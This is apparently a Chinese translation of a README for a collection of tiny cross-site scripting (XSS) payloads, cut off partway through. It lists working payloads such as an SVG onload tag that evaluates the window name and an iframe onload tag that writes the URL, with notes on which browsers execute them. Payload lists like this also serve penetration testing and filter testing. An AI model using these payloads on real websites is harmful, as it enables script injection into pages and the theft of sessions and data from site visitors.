Tiny-XSS-有效载荷 短XSS有效负载的集合,可以在不同的上下文中使用。 此处提供了演示: : 当前有效负载 <!-- If you control the name, will work on Firefox in any context, will fail in chromium in DOM --> < svg /onload=eval(name) > <!-- If you control the URL, Safari-only --> < iframe /onload=write(URL) > <!